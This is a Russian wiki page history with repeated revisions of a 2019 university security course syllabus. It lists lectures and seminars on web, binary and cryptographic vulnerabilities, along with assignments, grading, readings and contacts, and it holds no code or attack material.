# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]
# (25.11) Механизмы безопасности приложений в операционных системах.
# (02.12) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (09.12) Криптография, Асимметричные шифры и атаки на них.
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-31T11:28:11Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (11.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Механизмы безопасности приложений в операционных системах.
# (02.12) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (09.12) Криптография, Асимметричные шифры и атаки на них.
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-28T09:49:00Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-28T09:48:24Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.

(2-й модуль)
# (28.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-28T09:45:55Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-07T09:59:05Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) Безопасность приложений. Аутентификация и авторизация.
# (14.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-10-01T08:21:52Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Аутентификация и авторизация.
# (14.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
